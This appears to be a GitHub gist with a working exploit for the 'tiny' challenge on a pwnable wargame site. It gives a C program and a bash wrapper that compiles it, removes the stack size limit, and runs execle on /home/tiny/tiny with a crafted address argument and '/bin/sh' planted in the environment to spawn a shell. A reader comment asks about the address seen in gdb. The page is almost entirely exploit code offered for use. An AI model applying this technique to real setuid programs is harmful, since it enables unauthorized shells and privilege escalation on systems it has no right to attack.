Last active
July 18, 2016 21:20
-
-
Save cubarco/d379e31c9487c8ee07f2 to your computer and use it in GitHub Desktop.
Run pwnable-hackerssecret-tiny.sh and you'll pwn the tiny.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <unistd.h> | |
int main() | |
{ | |
char *envp[] = { | |
"env1=1", "env2=2", "env3=3", | |
"/bin/sh", "env5=5", NULL | |
}; | |
execle("/home/tiny/tiny", "\xc8\x75\x55\x55", | |
"A", "A", "A", "A", "A", "A", | |
"A", "A", "A", "A", NULL, envp); | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
tempfile=$(mktemp -d) | |
echo $tempfile | |
cd $tempfile | |
gcc -xc - -oexp <<\EOF | |
#include <stdio.h> | |
#include <unistd.h> | |
int main() | |
{ | |
char *envp[] = { | |
"env1=1", "env2=2", "env3=3", | |
"/bin/sh", "env5=5", NULL | |
}; | |
execle("/home/tiny/tiny", "\xc8\x75\x55\x55", | |
"A", "A", "A", "A", "A", "A", | |
"A", "A", "A", "A", NULL, envp); | |
return 0; | |
} | |
EOF | |
ulimit -s unlimited | |
exec ./exp |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Hi! I have a small question.
Why execve accepts strange second parameter?
During debugging my gdb shows 0xf77??5c8, but 0x555575c8 never.